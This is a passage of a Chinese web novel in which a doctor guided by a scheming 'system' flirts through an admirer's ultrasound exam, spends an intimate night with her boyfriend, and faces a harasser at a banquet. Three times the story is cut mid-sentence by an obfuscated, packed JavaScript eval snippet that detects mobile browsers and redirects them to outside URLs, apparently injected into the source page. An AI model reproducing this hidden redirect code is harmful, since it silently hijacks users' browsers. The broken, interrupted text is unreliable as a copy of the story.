“呃……我一定会好好学的!可是……我该怎么向你展示我的学习成果呢?”柳琢玉难得机灵了一回,双眼放光地问道:“江吟,你能不能加一下我的微信?” “不能。”她拒绝得异常干脆。 柳琢玉眼里的光骤然消失,一下子从萨摩耶变成了萨摩不耶。 不过,凝聚在心间的失落很快便转化为浓浓的嫉妒。 徐逸风那个老古板到底有什么好的?江吟为什么就不能多看看他呢? 要是先遇到她的人是他该多好…… 这时,曲江吟又想到一个好笑的梗,兴致勃勃地开口道:“此外,你还漏了一点。” 被嫉妒冲昏头脑的柳琢玉却会错了意,傻不愣登地回了一句:“我两点都露了啊!” 31. 031 曲江吟脸上的笑容凝固了。 “我说的是遗漏的漏,不是裸/露的露!你想啥呢?” “啊?哦哦哦,不好意思,我听岔了,”柳琢玉憨憨一笑,试图“萌”混过关,“我漏掉什么了?” 他真该庆幸曲江吟是个不折不扣的颜控,只对长得好看的人宽容,不然她早不搭理他了。 “如果你掀衣服的同时,故意用低沉的嗓音说一句''女人,满意你所看到的吗'',再配上霸总专属的邪魅笑容,我指不定被你逗成啥样呢!” “啊?可……网上不是说女人最讨厌油腻的男人了吗?” 因为这个深入人心的观点,柳琢玉生怕江吟觉得自己油腻,特意建了一个名叫“雷池”的收藏夹,用来提醒自己应该避雷哪些行为,里面东西一言以蔽之,就是“油腻行为大赏”。 “不是啊,我只讨厌以耍帅为目的的真油腻,不讨厌以搞笑为目的的假油腻,不过嘛,这个度还是挺难把握的,不然为啥油腻的人遍地都是,幽默的人少之又少呢?” “哦……”其实柳琢玉想说自己会学着去做一个幽默风趣的人,可幽默这玩意儿纯看天分,他显然不具备这方面的天分。 见他一脸苦恼,曲江吟没再继续这个话题,转而挥了挥手吩咐道:“往上挪一点儿,面朝左边侧躺过去,把胳膊抬起来,我看看你的心脏怎么样。” 柳琢玉捏着被他揉成一团的纸巾,问道:“纸扔哪儿?” “先放旁边,等做完检查,再一起扔进黄色的垃圾桶里。” 柳琢玉双臂发力,支撑起身体,往上挪了一截,抬手抓过枕头,不舍地看了她一眼,慢吞吞地侧过身子、撩高T恤、抬起胳膊。 前面的行为还算正常,后面就有点儿抽象了。 对此,曲江吟深感费解,忍不住吐槽道:“你搁这儿表演慢动作呢?七十岁的老头都比你利索。” 他转回来委屈巴巴地回复道:“好不容易见到你,我不想背对着你,只想一直看着你。” 曲江吟不为所动,脸上挂着疏离的笑容,左手推住他的肩膀,让他侧过去,右手环住他的胸腹,以半抱的姿势将探头怼到他的心口。 为了省力,她习惯用上臂夹住体检者,最近天气转暖,她穿着夏款白大褂,胳膊肘不可避免地贴住了柳琢玉的皮肤。 柳琢玉愣住了。 细腻温热的触感如火苗一般,沿着名为神经的引线,飞速蹿升至大脑,引/燃比烟花还要绚丽夺目的多巴胺礼花。 他心里那点儿委屈顿时烟消云散,隐秘的欢喜宛如撒糖迎亲的队伍,开始在心田游窜,走到哪儿撒到哪儿,让饱受相思之苦的他初次品尝到甜蜜的滋味儿。 经常锻炼的人,心跳通常比普通人慢,柳琢玉的心跳却偏快,曲江吟以为他紧张了,开口安慰道:“别紧张,你这么年轻,心脏一般不会有什么问题。” 其实他一点儿也不紧张,心跳变快纯粹是因为激动,但他很享受江吟的安慰,便顺着她的话茬回了一句:“是吗?” “当然呃……”她的话刚起了个头,就被屏幕上异常的血流信号打断了,“二尖瓣返流?” 听到她莫名拔高的音调,柳琢玉的心不由得悬了起来。 “怎么了?” 她又仔细检查了一会儿,才云淡风轻地说:“应该没啥问题,二尖瓣的形态和结构没有异常,休息不好也可能导致返流,你该不会真的肝了两个通宵吧?” 柳琢玉的身体明显僵硬了一瞬。 他再怎么喜欢游戏,也不会为了玩游戏连觉都不睡。 他当然可以默认,将这个无伤大雅的小谎蒙混过去,可这么做,无非是用一个谎言去圆另一个谎言,新的谎言又需要更新的谎言来圆,这就是个恶性循环。 况且,谎言说得多了,迟早有被戳穿的一天,到时候给江吟留下撒谎成性的恶劣印象,他怕是肠子都得悔青。 “不是,昨晚我确实没有休息好,但不是通宵打游戏的锅,而是因为想到明天就能见到你了,兴奋得一宿没睡好。” 闻言,天天盼着宿主坐拥各色美男,享尽荣华富贵的系统,又开始碎碎念了:“宿主,一个活生生的、英俊帅气的、恋爱脑男大就在你面前,你不把他拿下岂不暴殄天物?” “暴殄天物?呵呵!你要是实在闲得不行,就去背诵成语大全吧,我已经有逸风这个温柔体贴的男朋友了,才不要和别的男人纠缠不清!” 视上进为狗屁、把努力当儿戏的系统,自然不可能去背什么成语大全,它宁可用尬穿地心的土味视频打发时间,也不想施舍一个眼神给枯燥乏味的文字。 它的宿主千好万好,就是野心太小,不过,没关系,有它在,她早晚能成为野心勃勃的枭雌! 愿得一人心白首不分离,固然会收获痴情的夸赞,可痴情的“痴”和白痴的“痴”一模一样。 家里红/旗不倒外面彩旗飘飘,虽然会背负花心的骂名,但花心的“花”和花海的“花”一模一样。 痴守一人哪有徜徉花海幸福? 为了宿主的幸福着想,系统又换了个角度,继续怂恿道:“明着不行,暗着来呀!不想走心,可以走肾呀!瞧他这副死心塌地非你不可的样子,恐怕你让他当个没名没分的地下情人,他都能乐得冒泡。” 曲江吟毫不客气地回怼道:“馊饭吃太多,吃坏脑子了吧你?不然咋净搁这儿出馊主意呢?” “我用不着吃饭啊,更何况是馊饭。” “重点是这个吗?你……算了,我就不该跟你这个三观歪出天际的傻der浪费口舌!” 怼完系统,她心不在焉地说了一句“没睡好都这么精神,年轻真好”,接着抽出纸巾盖住他的胸口,“擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426815|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净,转过来,仰面朝上躺着,我再看看你的肝胆胰脾肾。” 柳琢玉随便擦了两下,迅速转过身来,笑得跟朵花似的,亮晶晶的眼睛一眨不眨地看着她。 “你笑啥?”话刚问出口,曲江吟便后悔了,因为“看到你就开心”之类的答复从他嘴里蹦出来的可能性高达百分之九十九! 然而,概率大并不意味着一定会发生。 “以后我不能对你说【把心掏出来给你看】了,因为你已经看过了。” 曲江吟瞄了一眼心脏探头,意味深长地回复道:“仪器只能查出心脏的好坏,查不出心是好是坏。” 说罢,她将手中的探头放回原位,顺带拿起一旁的腹部探头。 一听这话,年轻气盛的柳琢玉登时沉不住气了,争辩道:“我从来没干过坏事,还给不少没钱治病的人捐过钱,那些人都夸我是个好人,我的心当然是好的!” 现成的话柄,岂有不抓之理? “对,你是个好人,但咱俩不合适。”曲江吟露出得逞的坏笑,乌溜溜的眼珠子里满是狡黠。 轻飘飘的一句话,落到柳琢玉心里却重逾千斤。 他知道“好人卡”的梗,却万万没想到自己也有收到这张卡的一天。 淡淡的苦涩在心底蔓延开来,他失神地盯着曲江吟樱粉的唇瓣,好想尝点儿甜的…… 为了早日品尝到那抹惦念已久的甜,他化苦涩为动力,悄悄发力,让自己的肌肉轮廓更加明显。 他那点儿小心思自然瞒不过曲江吟的法眼,她摆了摆手,无奈地说:“行了行了,知道你身材好啦,别显摆啦,放松,你这样我没法儿检查。” 看着她无动于衷的脸庞,柳琢玉深感挫败,看来他的色/诱技术还有很大的进步空间。 等他不再暗戳戳地发力,曲江吟才握紧探头,先沿着右侧肋骨下缘探查肝脏和胆囊,然后逐次扫查胰腺、脾脏和肾脏。 她扫了一圈,没发现什么问题,便提起探头,不紧不慢地说:“只剩膀胱和前列腺没查了,检查膀胱必须憋尿,你憋尿了没?” 之前柳琢玉去前台领体检表的时候,护士特意叮嘱过要先喝水憋尿,等做完彩超再去做尿检,可他急着见江吟,没顾得上喝水。 眼下,他并没有尿急的感觉,迟疑了几秒才弱弱地回应道:“我已经两个多小时没上过厕所了,应该有。” 曲江吟瞥了一眼他的裤子,今天他穿了一条宽松的黑色运动裤。 明智的选择,不用解裤腰带,也不用解扣子、拉拉链。 她收回目光,敛起表情,正儿八经地吩咐道:“把裤子拉下去,露出小腹。” 柳琢玉吸取T恤撩得太快反被她吐槽的教训,把大拇指插/进裤腰,用虎口卡住裤边,慢慢往下推,平滑紧实的小腹随着他的动作一点一点暴/露在曲江吟眼前。 32. 032 系统嘿嘿一笑,调侃了一句:“这家伙属孔雀的吧?不然怎么一见到你就忍不住开屏呢?” 曲江吟难得认同了系统的看法,孔雀修炼成精化为人形应该就是柳琢玉这样的吧?不但拥有让人移不开眼的外貌,还拥有大胆示爱死缠烂打的性格。 不过,他再怎么开屏,也无法打动早已心有所属的曲江吟。 她再次拿过耦合剂,仿佛挤牙膏一般挤到探头表面,从容地打趣道:“你是被蜗牛附体了吗?别磨叽了,不想裤子沾上耦合剂的话,就赶紧往下拉,拉到耻骨那儿。” “哦。” 失望汇聚成层层叠叠的阴云,再次笼罩柳琢玉的心海。 这次又太慢了吗?快也不行,慢也不行,想勾/引她可真难啊! 不过,有句老话说得好,世上无难事,只怕有心人,他不止有心,还尤为年轻,有的是时间慢慢叩开江吟的心扉! 等他把裤子拉下去,曲江吟二话不说直接把探头压到他的小腹上,充盈尚可的膀胱受不住探头的挤压,不断地给大脑发送“憋不住了,快让我开闸放水”的信号。 骤然来袭的尿意让他的躯体瑟缩了一下。 曲江吟不解地问道:“怎么了?” 尴尬是个冒冒失失的菜鸟化妆师,误把腮红当散粉,欻欻两下扫过他漂亮的脸蛋,留下浅淡菲薄却分外惹眼的粉。 原本粘得足以拉丝、甜得令人腻歪的眼神,顿时变得飘忽不定,黑白分明的眼眸盛满窘迫。 “我……我想上厕所。” 别说,他这副尴尬隐忍的模样还蛮可爱的。 想到这里,曲江吟蓦地心头一凛,毕竟,下意识给男友以外的男人打上可爱的标签,可不是什么好兆头。 于是她冷漠地回应道:“忍着,一会儿就结束了。” 感受到她语气里的冷漠,柳琢玉十分疑惑,他是不是无意间触碰到江吟的雷区了?莫非自己刚才的反应被她视为忸怩作态了? 不安如苔藓一般,在他空落落的心里肆意疯长。 他正准备开口解释,曲江吟却提起探头,面无表情地说:“膀胱和前列腺没啥问题,你的彩超检查都做完了。” 说着,她又抽出几张纸巾,先抹掉探头上的耦合剂,再放到他小腹上,用明显带着几分松快的语气说:“擦擦起吧。” 柳琢玉呼吸一滞,心脏仿佛灌了铅似的,直直地往下坠。 为了获得和她独处的机会,他费尽心机,不料美好的时光稍纵即逝,他还没来得及好好品味便仓促地结束了。 一想到不知什么时候才能再次见到她,他就异常难受,体内的每一个细胞都在叫嚣着不甘。 他麻木地擦掉粘腻的耦合剂,磨磨蹭蹭地提起裤子。 看着衣衫不整神情哀怨的柳琢玉,系统仗着他听不见自己的声音,肆无忌惮地拿他开涮:“哎嘿~他好像一个欲/求不满的怨夫啊!” 曲江吟本来没打算理它,直到它用唏嘘的语气讲完后半截话。 “在他的衬托下,你真的好像一个只顾自己爽快、爽完就翻脸不认人的渣女呀!” 曲江吟:??? “住口!你埋汰他也就算了,怎么能连我一块儿埋汰呢?” 一听这话,系统不禁慌了神,赶忙辩解道:“宿主,你别生气啊,我只是打个比方罢了,绝对没有埋汰你们的意思!” 如此苍白的辩解,听着更像犟嘴。 “呵呵!打啥比方呀?你这种闲出屁的傻冒更适合去工地打灰!” 这时,柳琢玉坐了起来,毛茸茸的脑袋似有千斤,不但压弯了修长的脖颈,还压塌了宽阔的肩膀,就连壮硕的脊背都被牵拉出前倾的弧度。 将近一米九的身高,外加健壮的身材,让他看起来比纤瘦的曲江吟大好几圈,哪怕他蜷着身子,依旧能把她挡得严严实实。 然而气定神闲的曲江吟才是处于上风的人。 她像个恬淡闲适的游客,他只是她路过的风景,一心盼着她为他回眸、为他驻足、为他停留的风景。 他抬起脑袋,直视着她的眼睛,用近乎哀求的声音说:“江吟,现在没有别的体检者,我能不能再待一会儿?” 曲江吟无情拒绝:“不能。” 柳琢玉眼里的期冀瞬间四分五裂,碎得不成样子,浓浓的不甘透过裂隙溢了出来,顷刻间遍布他的脸庞。 尽管他这副可怜兮兮的模样精准地戳中了曲江吟的萌点,但他越契合她的喜好,她越想跟他保持距离。 于是她用前脚掌在地板上蹬了一下,没怎么费力就把转椅挪到一旁,随后拿起桌上的体检表,朝他递过去,漫不经意地说:“因为小陈不在,心电图也得我做,你先去16号诊室等一会儿,我打完报告就过去。” 突如其来的惊喜犹如一道闪电,击碎失望,点亮璀璨的笑颜,柳琢玉连鞋子都顾不上穿,噌的一下站到地上,接过体检表,兴奋地应了一声“好”。 曲江吟心里腹诽着“这么大个人了,怎么还跟个小孩儿似的”,嘴上说着:“你先把鞋穿好,再把纸扔进黄色的垃圾桶。” “好的好的。” 柳琢玉不仅把纸巾扔了,还把皱皱巴巴的一次性床单铺平了。 等他忙完,曲江吟还在噼里啪啦地敲着键盘。 他想守着她,又不敢打扰她,便悄悄走到门边,静静地站着,两只黑亮如漆的眼睛定定地望着她的背影。 曲江吟回头扫了他一眼,“怎么不去16号诊室等着?” “我想跟你一起去。” 清脆的键盘敲击音一顿,她没来由地感到一阵烦躁,头也不回地嘟囔了一句:“随你。” 来到16号诊室,曲江吟伸手指了指检查床,“心电图也是面朝上躺着做的,脱掉鞋子躺上去,挽起裤脚,露出脚腕。” 柳琢玉边走边问:“两个脚腕都露出来吗?” “露一个就行,右边也行,左边也行。”说话的同时,曲江吟按下心电图机的开机按钮。 他走到床边,挽起裤脚,蹬掉鞋子,躺了上去。 她先在心电图机上输入信息,再把各个导联理顺,之后又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432252|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿起长长的镊子,夹起一块棉球,蘸了点儿酒精。 “把T恤撩起来,露出胸膛。” 这次,柳琢玉没再搞什么幺蛾子,毕竟,“卖弄色/相”这活儿也是需要技巧的,而他没有技巧全是感情,江吟又不肯接受他的感情,他强行卖弄,只会适得其反。 他瞅了瞅镊子前端湿漉漉的棉球,好奇地问道:“你刚刚蘸的是什么?水么?” 曲江吟摇了摇头,“不是水,是酒精。” 说罢,她把所有导联放到柳琢玉身旁,再把三个夹子拿到一边,用棉球擦了擦里面的电极片,依次夹到他的脚腕和手腕上。 她一转眼,刚好撞进柳琢玉的目光里。 迎着如融化的糖浆般炙热粘腻的目光,她莫名嗅到一丝若有似无的香甜气息,很像蛋糕店特有的香气。 男士香水有这种香型吗? “你喷的是哪种香水?” 柳琢玉以为她喜欢这股香气,正为自己随手一挑就能挑到她喜欢的香水而感到窃喜,然而,她的下一句话又把他那颗充盈着喜悦的心扎漏气了。 “挺好闻的,我想买一瓶送给逸风。” 他瘪了瘪嘴,上薄下厚的M型唇被他抿成一条直线,过了几秒他才闷闷不乐地说:“好像是大地。” 曲江吟眉头微蹙,咕哝道:“大地是这个味儿吗?这种甜甜的、仿佛从蛋糕店飘出来的香味儿,我还以为是哪个小众牌子呢。” 柳琢玉脸上的郁闷凝固了一瞬,眼中忽然闪过几丝尴尬,他犹豫了几秒,才吞吞吐吐地说:“那……不……不是香水的气味儿,那是……我的体味儿,我一出汗就有……” 曲江吟陡然瞪大了双眼,“你居然有体香?” 他更尴尬了,垂眸避开她的视线,生怕在她眼里看到嫌弃。 “这个……我控制不了,以后我一定会多喷点儿香水,你能不能……别嫌弃我?” 曲江吟无法理解他的反应,眉头皱得更深了,反问道:“你为啥觉得我会因为你有体香而嫌弃你?有体香不是挺好的么?用不着喷香水,人都香香的。” “可是……从小到大,除了我的家人,每次有人闻到这股味道,都会误会我喜欢喷甜腻的香水,嫌我娘,说我一点儿男子气概也没有。” 过往的记忆砸入柳琢玉的心湖,溅起朵朵浪花,眼睑根部的睫毛仿若受惊的蝴蝶,振翅欲飞。 见他这样,曲江吟再硬的心也不由得软了几分,虽然怜香惜玉专指男人对女人的态度,但柳琢玉是罕见的自带体香的男人,她怜一下他“香”也很合理嘛。 她一边用酒精棉球在他胸口打圈,一边微笑着安慰道:“你没必要搭理那些爹味儿熏天的傻冒,他们明显是在PUA你呢,香没有男子气概,臭就有了?” 酒精挥发带走了体表的温度,却带不走心底油然而生的暖意。 柳琢玉一错不错地盯着她。 江吟心软了呢,他之所以不肯放弃,就是因为她会对他心软,如今他最苦恼便是——他究竟要怎么做才能把这份心软转变成心动? 33. 033 自从徐逸风换了住处,那些令他惴惴不安的灵异现象再也没有发生过,可不知为何,向来少梦的他,连着做了几个晚上的噩梦。 梦的内容大同小异,一开始是他和曲江吟你侬我侬的甜蜜日常,正当他沉溺其中无法自拔的时候,江吟却对着他情真意切地喊着安钧羽的名字。 那些梦没有一丁点儿重量,却压得他喘不过气来。 都说日有所思夜有所梦,他不是没有怀疑过自己是不是潜意识里有过“江吟把他当替身”的念头,不过,这份怀疑刚刚冒头便自行溃散,因为他深知江吟不是这样的人。 她那么坦荡,那么直率,做事从不拖泥带水,说话从不弯弯绕绕,真对亡夫念念不忘的话,根本不可能接受他。 1号傍晚,他开车去接曲江吟,先带她去了一家他经常光顾的餐厅,之后载着她驶入星月黯淡、霓虹璀璨的夜色,直达他目前的住处。 搬家的时候,为了方便曲江吟留下来过夜,徐逸风重新布置了衣帽间,按照她的穿衣风格购入的服饰占据了大半个衣帽间。 他还买了许多漂亮的睡裙,就连内衣内裤都一次性买了一大堆。 虽然他很想一睹江吟身穿情/趣内衣的风采,但她穿着舒不舒服才是他最在乎的事,因此他买的内衣都是以舒适亲肤为卖点的普通女士内衣。 只有一款内衣暗藏心机,内裤的裤腰上印着一圈“LOVEYOU”。 曲江吟去洗手的时候,发现徐逸风家里的浴缸又大又宽敞,容纳两个人绰绰有余,顿时冒出一个旖/旎的念头。 徐逸风抱着浴袍走进浴室,一眼就看到了坐在浴缸边缘、正笑吟吟盯着他看的曲江吟。 她朝他勾了勾手,“要不要一起洗?嗯?” “要!!!” 水花四溅的声浪,一重高过一重,却盖不住两人彻底被欢/愉支配的嗓门儿。 高高跃起的水珠反射出一帧又一帧令人血脉偾张的画面。 大部分水珠不是砸到地上,就是溅到墙上,只有少部分飞到两人身上,为无暇他顾的二人带来一丝微不足道的清凉。 坚不可摧的堤坝终究抵挡不住暴风骤雨般的冲击,决堤不过是一瞬间的事,汹涌的潮水顷刻间席卷全身。 曲江吟的大脑一片空白,躯体仿佛触电似的,不住地颤栗。 “浴缸太滑,施展不开,咱们去卧室好吗?”徐逸风的声音比平常沙哑许多。 曲江吟偏头亲了亲他的嘴唇,“行啊,不过……” 徐逸风明知道她是故意卡在这儿的,却无比配合地问道:“不过什么?” “我很好奇……你家的床单够不够结实啊?”曲江吟眼底的促狭融入缱绻的眼神,给人的感觉就像绕着鱼饵转圈却死活不肯咬钩的游鱼,明晃晃的逗弄令人倍感无奈,暗戳戳的勾/引令人心痒难耐。 徐逸风被她的眼神勾得神情恍惚,过了一会儿才反应过来她是在调侃自己。 完了,撕破床单这件糗事会被她记一辈子吧? 来势汹汹的羞赧瞬间霸占了他的脸庞,即便如此,“求/欢”的意念依旧牢牢把持着他的心神。 不对!那不是糗事,是独属于她们的美好回忆。 想到这里,他干脆卸掉如同焊在他脸上的温柔,任由谷欠望将他清粼粼的眼睛搅混。 在别人面前,他永远是正经的不能再正经的体面人,他不正经的一面,只有她能看到! 他凑到她耳边,刻意压低声音,说着十分暧昧的、跟他本人形象大相径庭的骚话:“结不结实,试试不就知道了?” 忍俊不禁的曲江吟懒洋洋地瘫在他怀里,一边摩挲着他发达的肱二头肌,一边用嗔怪的语气说:“哎~拜某人所赐,我现在腰酸腿软,实在是懒得动弹,咋办呢?” 她以为他会回答:“我帮你揉揉。” 实际上他的回答却是:“我的枕头很软,给你垫上,腰就不会酸了,腿软的话,我可以抱着你,总之,我一定会好好伺候你的。” 曲江吟也想继续,却不愿轻易遂了他的意,便皱着眉头,用撒娇的口吻胡诌道:“可是……我那儿也不舒服。” “啊?我弄疼你了吗?”徐逸风一脸愧色,“对不起,我……” 她急忙否认道:“不是不是,一点也不疼,就是有种呃……说不出来的感觉。” “是不是挤进去的水太多了?没关系,我正好渴了。” 曲江吟:??? 她仰起脖子凝视着他的眼睛。 他居然能堂而皇之地说出这种虎/狼/之词?这还是她那个经不起撩拨、动不动就脸红的纯情男友吗? 她想了想,既然她俩都想继续,横竖她又不会吃亏,再陪他玩一阵儿也没啥。 得到自己想要的答复后,徐逸风喜不自胜地抱着曲江吟离开浴室,大步走向卧室,留下一地狼藉…… 浅灰色的窗帘尽职尽责地阻挡着明亮的晨光,不过,徐逸风不喜欢厚重的窗帘,以轻盈为卖点的它,注定无法隔绝所有光线。 朦胧的天光铺满卧室,光与暗的角逐,无声无息,静谧的房间只有两道轻浅的呼吸声。 徐逸风醒得比较早,他睁开惺忪的睡眼,入目便是曲江吟恬静的睡颜,他下意识抬手,想拨开她鬓边的碎发,然而昏沉的大脑仿佛被魇住了似的,蓦地闪过一个疑问——这不是梦吧? 好在他很快就反应过来自己没有做梦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436127|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管他难得睡了一个好觉,一夜无梦,但被噩梦折磨多日的他,在没有彻底清醒的情况下,骤然面对与梦境高度相似的场景,一时分不清梦境与现实也正常。 他拨开碎发,将手臂轻轻搭在她身上,用目光一遍一遍地描摹着她那张怎么看也看不够的脸庞。 跟她在一起,缥缈的爱情变得具象化,难觅的幸福变得触手可及,那些烦人的噩梦也消停了。 如果他提出同居,她会答应吗? 曲江吟醒来的时候已经日上三竿了,等她洗漱完,徐逸风刚好把做好的三明治放到餐桌上。 她不爱喝牛奶,他从橱柜取出前天刚买的榨汁机,给她榨了一杯果汁。 等她换好衣服,从衣帽间出来,果汁也榨好了。 徐逸风端着果汁,看着容光焕发、神采奕奕、三下五除二就把长发扎成马尾的女友,唇角不自觉勾起,温声招呼她过来,“饿坏了吧?你先吃点儿垫垫肚子。” “怎么只有一份儿?你不吃吗?” “我不怎么饿,喝杯咖啡就行。” 曲江吟坐到椅子上,拿起手机瞅了一眼,十一点了。 “马上就到中午了,你不是喜欢吃粤菜吗?我知道一家粤菜馆,味道挺正宗的,一会儿我带你去撮一顿。” “好。”徐逸风的笑容比窗外的阳光还要和煦。 等她吃完,他才竭力克制住心中的忐忑,装作不经意的样子,不疾不徐地问道:“江吟,你愿意跟我同居吗?” 她抽出纸巾擦了擦嘴,噙着让人捉摸不透的笑容,反问道:“你想听真话还是假话?” 以徐逸风的经验来看,不肯正面回答往往意味着对方内心是拒绝的。 喝进肚子里的咖啡似乎迷了路,没有流进胃里,反而流到心里去了,不然他的心为何泛着苦味呢? “我想听真话。” 装出来的淡定终归有破绽,一丝他自己都未曾察觉到的委屈,伴随他的话语,径直钻入曲江吟耳中。 “我当然愿意啊!”她说得无比坦然,笑得格外粲然。 出乎意料的惊喜兜头砸下,徐逸风整个人都懵了,两只眼睛跟电灯泡似的,唰的一下就亮了。 “不过……” 轻飘飘的两个字,却犹如一阵疾风,吹得他那颗因充满喜悦而格外轻盈的心荡来荡去。 “你呀,过于小瞧自己的魅力了。”曲江吟一眨不眨地盯着徐逸风的脸,俨然一副巴不得把他所有表情都记录下来的模样。 他的大脑顿时挤满了问号,俊俏的脸被浓浓的迷茫覆盖,显得分外呆萌。 “啊???” “我的意思是——咱俩同居,我担心自己的身体吃不消啊……” 34. 034 回想起昨晚的一幕幕,徐逸风不由得脸颊发烫,他磕磕巴巴地承诺道:“我……我会……我会节制的。” 曲江吟摇了摇头,两手一摊,言之凿凿地说:“自制力是个好东西,你有,但是我没有啊!” 听了她的话,徐逸风绞尽脑汁都不知道该怎么接茬。 “对我来说,你的魅力太大了,哪怕穿个破布麻袋,我都会觉得你是在勾/引我。” 他直愣愣地盯着曲江吟粉嫩莹润的唇瓣。 她的嘴怎么这么甜呢?好想亲一口! “哎~”她装模作样地叹了一口气,“一回到家就能见到秀色可餐的男友,我这个大馋丫头怎么可能把持得住?你这人又对我千依百顺的,根本不可能拒绝我,咱俩同居,你的床可要遭老罪喽!再说,我又不是思密达,人家每天只睡三四个小时就够了,我这副小身板可扛不住。” 徐逸风的脸越来越烫,看她的眼神也愈发炽热,脑子里想的都是——吻她吻她吻她…… 迎着他炙热的目光,曲江吟却正了正神色,恳切地说:“别误会啊,我不是对那事儿有瘾,是对你有瘾,等我瘾没那么大了,再考虑同居的事吧。” “对你有瘾”这句话不亚于一枚炸/弹,轰的一声,炸得他脑瓜子嗡嗡的。 他猛地扑向她,一手揽过她纤细的腰肢,一手扣住她的后脑勺,不管不顾地吻了上去…… 然而,论吻技,曲江吟比他强得不止一星半点儿,她很快便反守为攻,掌握了主动权,把他亲得晕头转向。 分开的时候,两人都气喘吁吁的,不过,曲江吟还有余力捏住他的脸蛋,小声调侃道:“看来你的瘾也蛮大的。” 徐逸风握住她即将抽走的手,在她的掌心留下一个吻。 “是,我为你着迷,对你上瘾。” “呦~这小情话说的,甜到我心坎儿里了!”她在他脸上亲了一口,站起身来,挥了挥手,“走吧,收拾收拾去吃午饭喽!” “好。” …… 3号这天,徐逸风载着曲江吟去谛梵酒店参加高中同学的订婚宴。 那人家世显赫,邀请的宾客也都非富即贵。这些有头有脸的人物,如非必要,都不乐意被媒体打扰。 一个合格的东道主理应解决客人的后顾之忧。那人不但包下整座酒店,还雇了庞大的安保团队,没有邀请函的人,连酒店大门都进不去。 富丽堂皇的宴会大厅里,衣着光鲜的男男女女三五成群。 大多数人不是忙着拓展人脉、编织关系网,就是和熟人聊得热火朝天不亦乐乎。 实际上,有钱人也分三六九等,顶级老钱走到哪儿都是焦点,无论哪种场合都是座上宾,站那儿不动都会吸引一波又一波溜须拍马大献殷勤的人。 徐逸风知道曲江吟没兴趣结交那些所谓的名流,陪他过来只是为了吃席,正好他也不是什么喜欢社交的人,便领着江吟来到一个相对僻静的角落。 眼下还不到开席的时候,曲江吟闲得无聊,抓过徐逸风的手,说要帮他看看他的手指头有几个斗几个簸箕。 其实她不会看,但徐逸风又不懂,很快就被颇具神棍气质的她忽悠得一愣一愣的。 曲江吟可太喜欢他这副懵懂好骗的模样了,忍不住揽过他劲瘦的腰肢,在他突出的喉结上啄了一口。 哪怕江吟不在意他人的眼光,哪怕她们所处的位置压根儿没几个人路过,徐逸风也不希望别人向她投来异样的眼光,所以他顾不得害羞,火速抬头环顾四周,结果和赵端灏恶意满满的目光撞了个正着。 赵端灏原本没打算来,一听说徐逸风要来,当即改了主意。 天知道他有多想一雪前耻! 徐逸风这个傻屌,不仅胳膊肘往外拐,还害他丢了那么大的脸,他做梦都想报复回去! 今天的宴会盛大又隆重,来的都是家世不凡的人物,在这样的场合跟别人起冲突显然不是明智之举。如果徐逸风一直待在人堆儿里,给他一百个胆子,他也不敢造次,顶多阴阳几句,过过嘴瘾。 还好徐逸风打小就孤僻,即使参加宴会,也总爱一个人待着。 来之前他就打定主意要让对方颜面扫地,没想到还有意外之喜,那个可恶的女人也来了! 望着那两道抱在一起卿卿我我的身影,他不禁眼含讥诮,嘴角高高咧起,狞笑着走了过去。 “呵呵!好久不见,弟妹还是这么饥渴!” 曲江吟记性很好,自然听得出这是赵端灏的声音,但这并不妨碍她装作不知情的样子,扭过身子,冷声斥骂道:“谁在狗叫?” 与此同时,徐逸风也往前迈了一步,挡在曲江吟身前,瞪着赵端灏,回怼道:“不会说话就闭嘴!” 两人的声音几乎同时响起。 曲江吟的话杀伤力更大,拉的仇恨也更多。 刚刚还笑得十分嚣张的赵端灏,顿时笑不出来了,脸拉得比长白山还长,看她的眼神仿佛数九寒天的北风,冰冷刺骨。 “曲江吟,几个月前刚死了老公,主治医师,在中心医院体检科B超室上班,家住曙曦苑5单元701室,手机号码是XXX……” 徐逸风噌的一下冲到他身前,不等他说完便一把揪住他的领子,一向温润清透的眼眸霎时戾气横生,如同酝酿着风暴的乌云。 “我不管你想干嘛,收起你那些龌龊的心思,不然我绝对不会放过你!” 赵端灏没有躲,难得见到徐逸风气急败坏的表情,他可得好好欣赏一下。 徐逸风越愤怒,他越开心,可惜那个女的也不知道是吓傻了,还是咋地,几乎没什么反应。 他举起双手,这个用来示弱的动作,配合他涎皮涎脸的神态,任谁看了都会觉得自己受到了挑衅。 “别这么激动嘛,我没别的意思,就是想了解一下弟妹,不过……” 